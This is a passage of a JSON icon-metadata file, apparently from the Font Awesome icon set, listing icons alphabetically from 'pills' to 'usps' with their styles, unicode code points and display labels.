Bank"},"pills":{"styles":["solid"],"unicode":"f484","label":"Pills"},"pinterest":{"styles":["brands"],"unicode":"f0d2","label":"Pinterest"},"pinterest-p":{"styles":["brands"],"unicode":"f231","label":"Pinterest P"},"pinterest-square":{"styles":["brands"],"unicode":"f0d3","label":"Pinterest Square"},"pizza-slice":{"styles":["solid"],"unicode":"f818","label":"Pizza Slice"},"place-of-worship":{"styles":["solid"],"unicode":"f67f","label":"Place of Worship"},"plane":{"styles":["solid"],"unicode":"f072","label":"plane"},"plane-arrival":{"styles":["solid"],"unicode":"f5af","label":"Plane Arrival"},"plane-departure":{"styles":["solid"],"unicode":"f5b0","label":"Plane Departure"},"plane-slash":{"styles":["solid"],"unicode":"e069","label":"Plane Slash"},"play":{"styles":["solid"],"unicode":"f04b","label":"play"},"play-circle":{"styles":["solid","regular"],"unicode":"f144","label":"Play Circle"},"playstation":{"styles":["brands"],"unicode":"f3df","label":"PlayStation"},"plug":{"styles":["solid"],"unicode":"f1e6","label":"Plug"},"plus":{"styles":["solid"],"unicode":"f067","label":"plus"},"plus-circle":{"styles":["solid"],"unicode":"f055","label":"Plus Circle"},"plus-square":{"styles":["solid","regular"],"unicode":"f0fe","label":"Plus Square"},"podcast":{"styles":["solid"],"unicode":"f2ce","label":"Podcast"},"poll":{"styles":["solid"],"unicode":"f681","label":"Poll"},"poll-h":{"styles":["solid"],"unicode":"f682","label":"Poll H"},"poo":{"styles":["solid"],"unicode":"f2fe","label":"Poo"},"poo-storm":{"styles":["solid"],"unicode":"f75a","label":"Poo Storm"},"poop":{"styles":["solid"],"unicode":"f619","label":"Poop"},"portrait":{"styles":["solid"],"unicode":"f3e0","label":"Portrait"},"pound-sign":{"styles":["solid"],"unicode":"f154","label":"Pound Sign"},"power-off":{"styles":["solid"],"unicode":"f011","label":"Power Off"},"pray":{"styles":["solid"],"unicode":"f683","label":"Pray"},"praying-hands":{"styles":["solid"],"unicode":"f684","label":"Praying Hands"},"prescription":{"styles":["solid"],"unicode":"f5b1","label":"Prescription"},"prescription-bottle":{"styles":["solid"],"unicode":"f485","label":"Prescription Bottle"},"prescription-bottle-alt":{"styles":["solid"],"unicode":"f486","label":"Alternate Prescription Bottle"},"print":{"styles":["solid"],"unicode":"f02f","label":"print"},"procedures":{"styles":["solid"],"unicode":"f487","label":"Procedures"},"product-hunt":{"styles":["brands"],"unicode":"f288","label":"Product Hunt"},"project-diagram":{"styles":["solid"],"unicode":"f542","label":"Project Diagram"},"pump-medical":{"styles":["solid"],"unicode":"e06a","label":"Pump Medical"},"pump-soap":{"styles":["solid"],"unicode":"e06b","label":"Pump Soap"},"pushed":{"styles":["brands"],"unicode":"f3e1","label":"Pushed"},"puzzle-piece":{"styles":["solid"],"unicode":"f12e","label":"Puzzle Piece"},"python":{"styles":["brands"],"unicode":"f3e2","label":"Python"},"qq":{"styles":["brands"],"unicode":"f1d6","label":"QQ"},"qrcode":{"styles":["solid"],"unicode":"f029","label":"qrcode"},"question":{"styles":["solid"],"unicode":"f128","label":"Question"},"question-circle":{"styles":["solid","regular"],"unicode":"f059","label":"Question Circle"},"quidditch":{"styles":["solid"],"unicode":"f458","label":"Quidditch"},"quinscape":{"styles":["brands"],"unicode":"f459","label":"QuinScape"},"quora":{"styles":["brands"],"unicode":"f2c4","label":"Quora"},"quote-left":{"styles":["solid"],"unicode":"f10d","label":"quote-left"},"quote-right":{"styles":["solid"],"unicode":"f10e","label":"quote-right"},"quran":{"styles":["solid"],"unicode":"f687","label":"Quran"},"r-project":{"styles":["brands"],"unicode":"f4f7","label":"R Project"},"radiation":{"styles":["solid"],"unicode":"f7b9","label":"Radiation"},"radiation-alt":{"styles":["solid"],"unicode":"f7ba","label":"Alternate Radiation"},"rainbow":{"styles":["solid"],"unicode":"f75b","label":"Rainbow"},"random":{"styles":["solid"],"unicode":"f074","label":"random"},"raspberry-pi":{"styles":["brands"],"unicode":"f7bb","label":"Raspberry Pi"},"ravelry":{"styles":["brands"],"unicode":"f2d9","label":"Ravelry"},"react":{"styles":["brands"],"unicode":"f41b","label":"React"},"reacteurope":{"styles":["brands"],"unicode":"f75d","label":"ReactEurope"},"readme":{"styles":["brands"],"unicode":"f4d5","label":"ReadMe"},"rebel":{"styles":["brands"],"unicode":"f1d0","label":"Rebel Alliance"},"receipt":{"styles":["solid"],"unicode":"f543","label":"Receipt"},"record-vinyl":{"styles":["solid"],"unicode":"f8d9","label":"Record Vinyl"},"recycle":{"styles":["solid"],"unicode":"f1b8","label":"Recycle"},"red-river":{"styles":["brands"],"unicode":"f3e3","label":"red river"},"reddit":{"styles":["brands"],"unicode":"f1a1","label":"reddit Logo"},"reddit-alien":{"styles":["brands"],"unicode":"f281","label":"reddit Alien"},"reddit-square":{"styles":["brands"],"unicode":"f1a2","label":"reddit Square"},"redhat":{"styles":["brands"],"unicode":"f7bc","label":"Redhat"},"redo":{"styles":["solid"],"unicode":"f01e","label":"Redo"},"redo-alt":{"styles":["solid"],"unicode":"f2f9","label":"Alternate Redo"},"registered":{"styles":["solid","regular"],"unicode":"f25d","label":"Registered Trademark"},"remove-format":{"styles":["solid"],"unicode":"f87d","label":"Remove Format"},"renren":{"styles":["brands"],"unicode":"f18b","label":"Renren"},"reply":{"styles":["solid"],"unicode":"f3e5","label":"Reply"},"reply-all":{"styles":["solid"],"unicode":"f122","label":"reply-all"},"replyd":{"styles":["brands"],"unicode":"f3e6","label":"replyd"},"republican":{"styles":["solid"],"unicode":"f75e","label":"Republican"},"researchgate":{"styles":["brands"],"unicode":"f4f8","label":"Researchgate"},"resolving":{"styles":["brands"],"unicode":"f3e7","label":"Resolving"},"restroom":{"styles":["solid"],"unicode":"f7bd","label":"Restroom"},"retweet":{"styles":["solid"],"unicode":"f079","label":"Retweet"},"rev":{"styles":["brands"],"unicode":"f5b2","label":"Rev.io"},"ribbon":{"styles":["solid"],"unicode":"f4d6","label":"Ribbon"},"ring":{"styles":["solid"],"unicode":"f70b","label":"Ring"},"road":{"styles":["solid"],"unicode":"f018","label":"road"},"robot":{"styles":["solid"],"unicode":"f544","label":"Robot"},"rocket":{"styles":["solid"],"unicode":"f135","label":"rocket"},"rocketchat":{"styles":["brands"],"unicode":"f3e8","label":"Rocket.Chat"},"rockrms":{"styles":["brands"],"unicode":"f3e9","label":"Rockrms"},"route":{"styles":["solid"],"unicode":"f4d7","label":"Route"},"rss":{"styles":["solid"],"unicode":"f09e","label":"rss"},"rss-square":{"styles":["solid"],"unicode":"f143","label":"RSS Square"},"ruble-sign":{"styles":["solid"],"unicode":"f158","label":"Ruble Sign"},"ruler":{"styles":["solid"],"unicode":"f545","label":"Ruler"},"ruler-combined":{"styles":["solid"],"unicode":"f546","label":"Ruler Combined"},"ruler-horizontal":{"styles":["solid"],"unicode":"f547","label":"Ruler Horizontal"},"ruler-vertical":{"styles":["solid"],"unicode":"f548","label":"Ruler Vertical"},"running":{"styles":["solid"],"unicode":"f70c","label":"Running"},"rupee-sign":{"styles":["solid"],"unicode":"f156","label":"Indian Rupee Sign"},"rust":{"styles":["brands"],"unicode":"e07a","label":"Rust"},"sad-cry":{"styles":["solid","regular"],"unicode":"f5b3","label":"Crying Face"},"sad-tear":{"styles":["solid","regular"],"unicode":"f5b4","label":"Loudly Crying Face"},"safari":{"styles":["brands"],"unicode":"f267","label":"Safari"},"salesforce":{"styles":["brands"],"unicode":"f83b","label":"Salesforce"},"sass":{"styles":["brands"],"unicode":"f41e","label":"Sass"},"satellite":{"styles":["solid"],"unicode":"f7bf","label":"Satellite"},"satellite-dish":{"styles":["solid"],"unicode":"f7c0","label":"Satellite Dish"},"save":{"styles":["solid","regular"],"unicode":"f0c7","label":"Save"},"schlix":{"styles":["brands"],"unicode":"f3ea","label":"SCHLIX"},"school":{"styles":["solid"],"unicode":"f549","label":"School"},"screwdriver":{"styles":["solid"],"unicode":"f54a","label":"Screwdriver"},"scribd":{"styles":["brands"],"unicode":"f28a","label":"Scribd"},"scroll":{"styles":["solid"],"unicode":"f70e","label":"Scroll"},"sd-card":{"styles":["solid"],"unicode":"f7c2","label":"Sd Card"},"search":{"styles":["solid"],"unicode":"f002","label":"Search"},"search-dollar":{"styles":["solid"],"unicode":"f688","label":"Search Dollar"},"search-location":{"styles":["solid"],"unicode":"f689","label":"Search Location"},"search-minus":{"styles":["solid"],"unicode":"f010","label":"Search Minus"},"search-plus":{"styles":["solid"],"unicode":"f00e","label":"Search Plus"},"searchengin":{"styles":["brands"],"unicode":"f3eb","label":"Searchengin"},"seedling":{"styles":["solid"],"unicode":"f4d8","label":"Seedling"},"sellcast":{"styles":["brands"],"unicode":"f2da","label":"Sellcast"},"sellsy":{"styles":["brands"],"unicode":"f213","label":"Sellsy"},"server":{"styles":["solid"],"unicode":"f233","label":"Server"},"servicestack":{"styles":["brands"],"unicode":"f3ec","label":"Servicestack"},"shapes":{"styles":["solid"],"unicode":"f61f","label":"Shapes"},"share":{"styles":["solid"],"unicode":"f064","label":"Share"},"share-alt":{"styles":["solid"],"unicode":"f1e0","label":"Alternate Share"},"share-alt-square":{"styles":["solid"],"unicode":"f1e1","label":"Alternate Share Square"},"share-square":{"styles":["solid","regular"],"unicode":"f14d","label":"Share Square"},"shekel-sign":{"styles":["solid"],"unicode":"f20b","label":"Shekel Sign"},"shield-alt":{"styles":["solid"],"unicode":"f3ed","label":"Alternate Shield"},"shield-virus":{"styles":["solid"],"unicode":"e06c","label":"Shield Virus"},"ship":{"styles":["solid"],"unicode":"f21a","label":"Ship"},"shipping-fast":{"styles":["solid"],"unicode":"f48b","label":"Shipping Fast"},"shirtsinbulk":{"styles":["brands"],"unicode":"f214","label":"Shirts in Bulk"},"shoe-prints":{"styles":["solid"],"unicode":"f54b","label":"Shoe Prints"},"shopify":{"styles":["brands"],"unicode":"e057","label":"Shopify"},"shopping-bag":{"styles":["solid"],"unicode":"f290","label":"Shopping Bag"},"shopping-basket":{"styles":["solid"],"unicode":"f291","label":"Shopping Basket"},"shopping-cart":{"styles":["solid"],"unicode":"f07a","label":"shopping-cart"},"shopware":{"styles":["brands"],"unicode":"f5b5","label":"Shopware"},"shower":{"styles":["solid"],"unicode":"f2cc","label":"Shower"},"shuttle-van":{"styles":["solid"],"unicode":"f5b6","label":"Shuttle Van"},"sign":{"styles":["solid"],"unicode":"f4d9","label":"Sign"},"sign-in-alt":{"styles":["solid"],"unicode":"f2f6","label":"Alternate Sign In"},"sign-language":{"styles":["solid"],"unicode":"f2a7","label":"Sign Language"},"sign-out-alt":{"styles":["solid"],"unicode":"f2f5","label":"Alternate Sign Out"},"signal":{"styles":["solid"],"unicode":"f012","label":"signal"},"signature":{"styles":["solid"],"unicode":"f5b7","label":"Signature"},"sim-card":{"styles":["solid"],"unicode":"f7c4","label":"SIM Card"},"simplybuilt":{"styles":["brands"],"unicode":"f215","label":"SimplyBuilt"},"sink":{"styles":["solid"],"unicode":"e06d","label":"Sink"},"sistrix":{"styles":["brands"],"unicode":"f3ee","label":"SISTRIX"},"sitemap":{"styles":["solid"],"unicode":"f0e8","label":"Sitemap"},"sith":{"styles":["brands"],"unicode":"f512","label":"Sith"},"skating":{"styles":["solid"],"unicode":"f7c5","label":"Skating"},"sketch":{"styles":["brands"],"unicode":"f7c6","label":"Sketch"},"skiing":{"styles":["solid"],"unicode":"f7c9","label":"Skiing"},"skiing-nordic":{"styles":["solid"],"unicode":"f7ca","label":"Skiing Nordic"},"skull":{"styles":["solid"],"unicode":"f54c","label":"Skull"},"skull-crossbones":{"styles":["solid"],"unicode":"f714","label":"Skull & Crossbones"},"skyatlas":{"styles":["brands"],"unicode":"f216","label":"skyatlas"},"skype":{"styles":["brands"],"unicode":"f17e","label":"Skype"},"slack":{"styles":["brands"],"unicode":"f198","label":"Slack Logo"},"slack-hash":{"styles":["brands"],"unicode":"f3ef","label":"Slack Hashtag"},"slash":{"styles":["solid"],"unicode":"f715","label":"Slash"},"sleigh":{"styles":["solid"],"unicode":"f7cc","label":"Sleigh"},"sliders-h":{"styles":["solid"],"unicode":"f1de","label":"Horizontal Sliders"},"slideshare":{"styles":["brands"],"unicode":"f1e7","label":"Slideshare"},"smile":{"styles":["solid","regular"],"unicode":"f118","label":"Smiling Face"},"smile-beam":{"styles":["solid","regular"],"unicode":"f5b8","label":"Beaming Face With Smiling Eyes"},"smile-wink":{"styles":["solid","regular"],"unicode":"f4da","label":"Winking Face"},"smog":{"styles":["solid"],"unicode":"f75f","label":"Smog"},"smoking":{"styles":["solid"],"unicode":"f48d","label":"Smoking"},"smoking-ban":{"styles":["solid"],"unicode":"f54d","label":"Smoking Ban"},"sms":{"styles":["solid"],"unicode":"f7cd","label":"SMS"},"snapchat":{"styles":["brands"],"unicode":"f2ab","label":"Snapchat"},"snapchat-ghost":{"styles":["brands"],"unicode":"f2ac","label":"Snapchat Ghost"},"snapchat-square":{"styles":["brands"],"unicode":"f2ad","label":"Snapchat Square"},"snowboarding":{"styles":["solid"],"unicode":"f7ce","label":"Snowboarding"},"snowflake":{"styles":["solid","regular"],"unicode":"f2dc","label":"Snowflake"},"snowman":{"styles":["solid"],"unicode":"f7d0","label":"Snowman"},"snowplow":{"styles":["solid"],"unicode":"f7d2","label":"Snowplow"},"soap":{"styles":["solid"],"unicode":"e06e","label":"Soap"},"socks":{"styles":["solid"],"unicode":"f696","label":"Socks"},"solar-panel":{"styles":["solid"],"unicode":"f5ba","label":"Solar Panel"},"sort":{"styles":["solid"],"unicode":"f0dc","label":"Sort"},"sort-alpha-down":{"styles":["solid"],"unicode":"f15d","label":"Sort Alphabetical Down"},"sort-alpha-down-alt":{"styles":["solid"],"unicode":"f881","label":"Alternate Sort Alphabetical Down"},"sort-alpha-up":{"styles":["solid"],"unicode":"f15e","label":"Sort Alphabetical Up"},"sort-alpha-up-alt":{"styles":["solid"],"unicode":"f882","label":"Alternate Sort Alphabetical Up"},"sort-amount-down":{"styles":["solid"],"unicode":"f160","label":"Sort Amount Down"},"sort-amount-down-alt":{"styles":["solid"],"unicode":"f884","label":"Alternate Sort Amount Down"},"sort-amount-up":{"styles":["solid"],"unicode":"f161","label":"Sort Amount Up"},"sort-amount-up-alt":{"styles":["solid"],"unicode":"f885","label":"Alternate Sort Amount Up"},"sort-down":{"styles":["solid"],"unicode":"f0dd","label":"Sort Down (Descending)"},"sort-numeric-down":{"styles":["solid"],"unicode":"f162","label":"Sort Numeric Down"},"sort-numeric-down-alt":{"styles":["solid"],"unicode":"f886","label":"Alternate Sort Numeric Down"},"sort-numeric-up":{"styles":["solid"],"unicode":"f163","label":"Sort Numeric Up"},"sort-numeric-up-alt":{"styles":["solid"],"unicode":"f887","label":"Alternate Sort Numeric Up"},"sort-up":{"styles":["solid"],"unicode":"f0de","label":"Sort Up (Ascending)"},"soundcloud":{"styles":["brands"],"unicode":"f1be","label":"SoundCloud"},"sourcetree":{"styles":["brands"],"unicode":"f7d3","label":"Sourcetree"},"spa":{"styles":["solid"],"unicode":"f5bb","label":"Spa"},"space-shuttle":{"styles":["solid"],"unicode":"f197","label":"Space Shuttle"},"speakap":{"styles":["brands"],"unicode":"f3f3","label":"Speakap"},"speaker-deck":{"styles":["brands"],"unicode":"f83c","label":"Speaker Deck"},"spell-check":{"styles":["solid"],"unicode":"f891","label":"Spell Check"},"spider":{"styles":["solid"],"unicode":"f717","label":"Spider"},"spinner":{"styles":["solid"],"unicode":"f110","label":"Spinner"},"splotch":{"styles":["solid"],"unicode":"f5bc","label":"Splotch"},"spotify":{"styles":["brands"],"unicode":"f1bc","label":"Spotify"},"spray-can":{"styles":["solid"],"unicode":"f5bd","label":"Spray Can"},"square":{"styles":["solid","regular"],"unicode":"f0c8","label":"Square"},"square-full":{"styles":["solid"],"unicode":"f45c","label":"Square Full"},"square-root-alt":{"styles":["solid"],"unicode":"f698","label":"Alternate Square Root"},"squarespace":{"styles":["brands"],"unicode":"f5be","label":"Squarespace"},"stack-exchange":{"styles":["brands"],"unicode":"f18d","label":"Stack Exchange"},"stack-overflow":{"styles":["brands"],"unicode":"f16c","label":"Stack Overflow"},"stackpath":{"styles":["brands"],"unicode":"f842","label":"Stackpath"},"stamp":{"styles":["solid"],"unicode":"f5bf","label":"Stamp"},"star":{"styles":["solid","regular"],"unicode":"f005","label":"Star"},"star-and-crescent":{"styles":["solid"],"unicode":"f699","label":"Star and Crescent"},"star-half":{"styles":["solid","regular"],"unicode":"f089","label":"star-half"},"star-half-alt":{"styles":["solid"],"unicode":"f5c0","label":"Alternate Star Half"},"star-of-david":{"styles":["solid"],"unicode":"f69a","label":"Star of David"},"star-of-life":{"styles":["solid"],"unicode":"f621","label":"Star of Life"},"staylinked":{"styles":["brands"],"unicode":"f3f5","label":"StayLinked"},"steam":{"styles":["brands"],"unicode":"f1b6","label":"Steam"},"steam-square":{"styles":["brands"],"unicode":"f1b7","label":"Steam Square"},"steam-symbol":{"styles":["brands"],"unicode":"f3f6","label":"Steam Symbol"},"step-backward":{"styles":["solid"],"unicode":"f048","label":"step-backward"},"step-forward":{"styles":["solid"],"unicode":"f051","label":"step-forward"},"stethoscope":{"styles":["solid"],"unicode":"f0f1","label":"Stethoscope"},"sticker-mule":{"styles":["brands"],"unicode":"f3f7","label":"Sticker Mule"},"sticky-note":{"styles":["solid","regular"],"unicode":"f249","label":"Sticky Note"},"stop":{"styles":["solid"],"unicode":"f04d","label":"stop"},"stop-circle":{"styles":["solid","regular"],"unicode":"f28d","label":"Stop Circle"},"stopwatch":{"styles":["solid"],"unicode":"f2f2","label":"Stopwatch"},"stopwatch-20":{"styles":["solid"],"unicode":"e06f","label":"Stopwatch 20"},"store":{"styles":["solid"],"unicode":"f54e","label":"Store"},"store-alt":{"styles":["solid"],"unicode":"f54f","label":"Alternate Store"},"store-alt-slash":{"styles":["solid"],"unicode":"e070","label":"Alternate Store Slash"},"store-slash":{"styles":["solid"],"unicode":"e071","label":"Store Slash"},"strava":{"styles":["brands"],"unicode":"f428","label":"Strava"},"stream":{"styles":["solid"],"unicode":"f550","label":"Stream"},"street-view":{"styles":["solid"],"unicode":"f21d","label":"Street View"},"strikethrough":{"styles":["solid"],"unicode":"f0cc","label":"Strikethrough"},"stripe":{"styles":["brands"],"unicode":"f429","label":"Stripe"},"stripe-s":{"styles":["brands"],"unicode":"f42a","label":"Stripe S"},"stroopwafel":{"styles":["solid"],"unicode":"f551","label":"Stroopwafel"},"studiovinari":{"styles":["brands"],"unicode":"f3f8","label":"Studio Vinari"},"stumbleupon":{"styles":["brands"],"unicode":"f1a4","label":"StumbleUpon Logo"},"stumbleupon-circle":{"styles":["brands"],"unicode":"f1a3","label":"StumbleUpon Circle"},"subscript":{"styles":["solid"],"unicode":"f12c","label":"subscript"},"subway":{"styles":["solid"],"unicode":"f239","label":"Subway"},"suitcase":{"styles":["solid"],"unicode":"f0f2","label":"Suitcase"},"suitcase-rolling":{"styles":["solid"],"unicode":"f5c1","label":"Suitcase Rolling"},"sun":{"styles":["solid","regular"],"unicode":"f185","label":"Sun"},"superpowers":{"styles":["brands"],"unicode":"f2dd","label":"Superpowers"},"superscript":{"styles":["solid"],"unicode":"f12b","label":"superscript"},"supple":{"styles":["brands"],"unicode":"f3f9","label":"Supple"},"surprise":{"styles":["solid","regular"],"unicode":"f5c2","label":"Hushed Face"},"suse":{"styles":["brands"],"unicode":"f7d6","label":"Suse"},"swatchbook":{"styles":["solid"],"unicode":"f5c3","label":"Swatchbook"},"swift":{"styles":["brands"],"unicode":"f8e1","label":"Swift"},"swimmer":{"styles":["solid"],"unicode":"f5c4","label":"Swimmer"},"swimming-pool":{"styles":["solid"],"unicode":"f5c5","label":"Swimming Pool"},"symfony":{"styles":["brands"],"unicode":"f83d","label":"Symfony"},"synagogue":{"styles":["solid"],"unicode":"f69b","label":"Synagogue"},"sync":{"styles":["solid"],"unicode":"f021","label":"Sync"},"sync-alt":{"styles":["solid"],"unicode":"f2f1","label":"Alternate Sync"},"syringe":{"styles":["solid"],"unicode":"f48e","label":"Syringe"},"table":{"styles":["solid"],"unicode":"f0ce","label":"table"},"table-tennis":{"styles":["solid"],"unicode":"f45d","label":"Table Tennis"},"tablet":{"styles":["solid"],"unicode":"f10a","label":"tablet"},"tablet-alt":{"styles":["solid"],"unicode":"f3fa","label":"Alternate Tablet"},"tablets":{"styles":["solid"],"unicode":"f490","label":"Tablets"},"tachometer-alt":{"styles":["solid"],"unicode":"f3fd","label":"Alternate Tachometer"},"tag":{"styles":["solid"],"unicode":"f02b","label":"tag"},"tags":{"styles":["solid"],"unicode":"f02c","label":"tags"},"tape":{"styles":["solid"],"unicode":"f4db","label":"Tape"},"tasks":{"styles":["solid"],"unicode":"f0ae","label":"Tasks"},"taxi":{"styles":["solid"],"unicode":"f1ba","label":"Taxi"},"teamspeak":{"styles":["brands"],"unicode":"f4f9","label":"TeamSpeak"},"teeth":{"styles":["solid"],"unicode":"f62e","label":"Teeth"},"teeth-open":{"styles":["solid"],"unicode":"f62f","label":"Teeth Open"},"telegram":{"styles":["brands"],"unicode":"f2c6","label":"Telegram"},"telegram-plane":{"styles":["brands"],"unicode":"f3fe","label":"Telegram Plane"},"temperature-high":{"styles":["solid"],"unicode":"f769","label":"High Temperature"},"temperature-low":{"styles":["solid"],"unicode":"f76b","label":"Low Temperature"},"tencent-weibo":{"styles":["brands"],"unicode":"f1d5","label":"Tencent Weibo"},"tenge":{"styles":["solid"],"unicode":"f7d7","label":"Tenge"},"terminal":{"styles":["solid"],"unicode":"f120","label":"Terminal"},"text-height":{"styles":["solid"],"unicode":"f034","label":"text-height"},"text-width":{"styles":["solid"],"unicode":"f035","label":"Text Width"},"th":{"styles":["solid"],"unicode":"f00a","label":"th"},"th-large":{"styles":["solid"],"unicode":"f009","label":"th-large"},"th-list":{"styles":["solid"],"unicode":"f00b","label":"th-list"},"the-red-yeti":{"styles":["brands"],"unicode":"f69d","label":"The Red Yeti"},"theater-masks":{"styles":["solid"],"unicode":"f630","label":"Theater Masks"},"themeco":{"styles":["brands"],"unicode":"f5c6","label":"Themeco"},"themeisle":{"styles":["brands"],"unicode":"f2b2","label":"ThemeIsle"},"thermometer":{"styles":["solid"],"unicode":"f491","label":"Thermometer"},"thermometer-empty":{"styles":["solid"],"unicode":"f2cb","label":"Thermometer Empty"},"thermometer-full":{"styles":["solid"],"unicode":"f2c7","label":"Thermometer Full"},"thermometer-half":{"styles":["solid"],"unicode":"f2c9","label":"Thermometer 1/2 Full"},"thermometer-quarter":{"styles":["solid"],"unicode":"f2ca","label":"Thermometer 1/4 Full"},"thermometer-three-quarters":{"styles":["solid"],"unicode":"f2c8","label":"Thermometer 3/4 Full"},"think-peaks":{"styles":["brands"],"unicode":"f731","label":"Think Peaks"},"thumbs-down":{"styles":["solid","regular"],"unicode":"f165","label":"thumbs-down"},"thumbs-up":{"styles":["solid","regular"],"unicode":"f164","label":"thumbs-up"},"thumbtack":{"styles":["solid"],"unicode":"f08d","label":"Thumbtack"},"ticket-alt":{"styles":["solid"],"unicode":"f3ff","label":"Alternate Ticket"},"tiktok":{"styles":["brands"],"unicode":"e07b","label":"TikTok"},"times":{"styles":["solid"],"unicode":"f00d","label":"Times"},"times-circle":{"styles":["solid","regular"],"unicode":"f057","label":"Times Circle"},"tint":{"styles":["solid"],"unicode":"f043","label":"tint"},"tint-slash":{"styles":["solid"],"unicode":"f5c7","label":"Tint Slash"},"tired":{"styles":["solid","regular"],"unicode":"f5c8","label":"Tired Face"},"toggle-off":{"styles":["solid"],"unicode":"f204","label":"Toggle Off"},"toggle-on":{"styles":["solid"],"unicode":"f205","label":"Toggle On"},"toilet":{"styles":["solid"],"unicode":"f7d8","label":"Toilet"},"toilet-paper":{"styles":["solid"],"unicode":"f71e","label":"Toilet Paper"},"toilet-paper-slash":{"styles":["solid"],"unicode":"e072","label":"Toilet Paper Slash"},"toolbox":{"styles":["solid"],"unicode":"f552","label":"Toolbox"},"tools":{"styles":["solid"],"unicode":"f7d9","label":"Tools"},"tooth":{"styles":["solid"],"unicode":"f5c9","label":"Tooth"},"torah":{"styles":["solid"],"unicode":"f6a0","label":"Torah"},"torii-gate":{"styles":["solid"],"unicode":"f6a1","label":"Torii Gate"},"tractor":{"styles":["solid"],"unicode":"f722","label":"Tractor"},"trade-federation":{"styles":["brands"],"unicode":"f513","label":"Trade Federation"},"trademark":{"styles":["solid"],"unicode":"f25c","label":"Trademark"},"traffic-light":{"styles":["solid"],"unicode":"f637","label":"Traffic Light"},"trailer":{"styles":["solid"],"unicode":"e041","label":"Trailer"},"train":{"styles":["solid"],"unicode":"f238","label":"Train"},"tram":{"styles":["solid"],"unicode":"f7da","label":"Tram"},"transgender":{"styles":["solid"],"unicode":"f224","label":"Transgender"},"transgender-alt":{"styles":["solid"],"unicode":"f225","label":"Alternate Transgender"},"trash":{"styles":["solid"],"unicode":"f1f8","label":"Trash"},"trash-alt":{"styles":["solid","regular"],"unicode":"f2ed","label":"Alternate Trash"},"trash-restore":{"styles":["solid"],"unicode":"f829","label":"Trash Restore"},"trash-restore-alt":{"styles":["solid"],"unicode":"f82a","label":"Alternative Trash Restore"},"tree":{"styles":["solid"],"unicode":"f1bb","label":"Tree"},"trello":{"styles":["brands"],"unicode":"f181","label":"Trello"},"trophy":{"styles":["solid"],"unicode":"f091","label":"trophy"},"truck":{"styles":["solid"],"unicode":"f0d1","label":"truck"},"truck-loading":{"styles":["solid"],"unicode":"f4de","label":"Truck Loading"},"truck-monster":{"styles":["solid"],"unicode":"f63b","label":"Truck Monster"},"truck-moving":{"styles":["solid"],"unicode":"f4df","label":"Truck Moving"},"truck-pickup":{"styles":["solid"],"unicode":"f63c","label":"Truck Side"},"tshirt":{"styles":["solid"],"unicode":"f553","label":"T-Shirt"},"tty":{"styles":["solid"],"unicode":"f1e4","label":"TTY"},"tumblr":{"styles":["brands"],"unicode":"f173","label":"Tumblr"},"tumblr-square":{"styles":["brands"],"unicode":"f174","label":"Tumblr Square"},"tv":{"styles":["solid"],"unicode":"f26c","label":"Television"},"twitch":{"styles":["brands"],"unicode":"f1e8","label":"Twitch"},"twitter":{"styles":["brands"],"unicode":"f099","label":"Twitter"},"twitter-square":{"styles":["brands"],"unicode":"f081","label":"Twitter Square"},"typo3":{"styles":["brands"],"unicode":"f42b","label":"Typo3"},"uber":{"styles":["brands"],"unicode":"f402","label":"Uber"},"ubuntu":{"styles":["brands"],"unicode":"f7df","label":"Ubuntu"},"uikit":{"styles":["brands"],"unicode":"f403","label":"UIkit"},"umbraco":{"styles":["brands"],"unicode":"f8e8","label":"Umbraco"},"umbrella":{"styles":["solid"],"unicode":"f0e9","label":"Umbrella"},"umbrella-beach":{"styles":["solid"],"unicode":"f5ca","label":"Umbrella Beach"},"uncharted":{"styles":["brands"],"unicode":"e084","label":"Uncharted Software"},"underline":{"styles":["solid"],"unicode":"f0cd","label":"Underline"},"undo":{"styles":["solid"],"unicode":"f0e2","label":"Undo"},"undo-alt":{"styles":["solid"],"unicode":"f2ea","label":"Alternate Undo"},"uniregistry":{"styles":["brands"],"unicode":"f404","label":"Uniregistry"},"unity":{"styles":["brands"],"unicode":"e049","label":"Unity 3D"},"universal-access":{"styles":["solid"],"unicode":"f29a","label":"Universal Access"},"university":{"styles":["solid"],"unicode":"f19c","label":"University"},"unlink":{"styles":["solid"],"unicode":"f127","label":"unlink"},"unlock":{"styles":["solid"],"unicode":"f09c","label":"unlock"},"unlock-alt":{"styles":["solid"],"unicode":"f13e","label":"Alternate Unlock"},"unsplash":{"styles":["brands"],"unicode":"e07c","label":"Unsplash"},"untappd":{"styles":["brands"],"unicode":"f405","label":"Untappd"},"upload":{"styles":["solid"],"unicode":"f093","label":"Upload"},"ups":{"styles":["brands"],"unicode":"f7e0","label":"UPS"},"usb":{"styles":["brands"],"unicode":"f287","label":"USB"},"user":{"styles":["solid","regular"],"unicode":"f007","label":"User"},"user-alt":{"styles":["solid"],"unicode":"f406","label":"Alternate User"},"user-alt-slash":{"styles":["solid"],"unicode":"f4fa","label":"Alternate User Slash"},"user-astronaut":{"styles":["solid"],"unicode":"f4fb","label":"User Astronaut"},"user-check":{"styles":["solid"],"unicode":"f4fc","label":"User Check"},"user-circle":{"styles":["solid","regular"],"unicode":"f2bd","label":"User Circle"},"user-clock":{"styles":["solid"],"unicode":"f4fd","label":"User Clock"},"user-cog":{"styles":["solid"],"unicode":"f4fe","label":"User Cog"},"user-edit":{"styles":["solid"],"unicode":"f4ff","label":"User Edit"},"user-friends":{"styles":["solid"],"unicode":"f500","label":"User Friends"},"user-graduate":{"styles":["solid"],"unicode":"f501","label":"User Graduate"},"user-injured":{"styles":["solid"],"unicode":"f728","label":"User Injured"},"user-lock":{"styles":["solid"],"unicode":"f502","label":"User Lock"},"user-md":{"styles":["solid"],"unicode":"f0f0","label":"Doctor"},"user-minus":{"styles":["solid"],"unicode":"f503","label":"User Minus"},"user-ninja":{"styles":["solid"],"unicode":"f504","label":"User Ninja"},"user-nurse":{"styles":["solid"],"unicode":"f82f","label":"Nurse"},"user-plus":{"styles":["solid"],"unicode":"f234","label":"User Plus"},"user-secret":{"styles":["solid"],"unicode":"f21b","label":"User Secret"},"user-shield":{"styles":["solid"],"unicode":"f505","label":"User Shield"},"user-slash":{"styles":["solid"],"unicode":"f506","label":"User Slash"},"user-tag":{"styles":["solid"],"unicode":"f507","label":"User Tag"},"user-tie":{"styles":["solid"],"unicode":"f508","label":"User Tie"},"user-times":{"styles":["solid"],"unicode":"f235","label":"Remove User"},"users":{"styles":["solid"],"unicode":"f0c0","label":"Users"},"users-cog":{"styles":["solid"],"unicode":"f509","label":"Users Cog"},"users-slash":{"styles":["solid"],"unicode":"e073","label":"Users Slash"},"usps":{"styles":["brands"],"unicode":"f7e1","label":"United States Postal 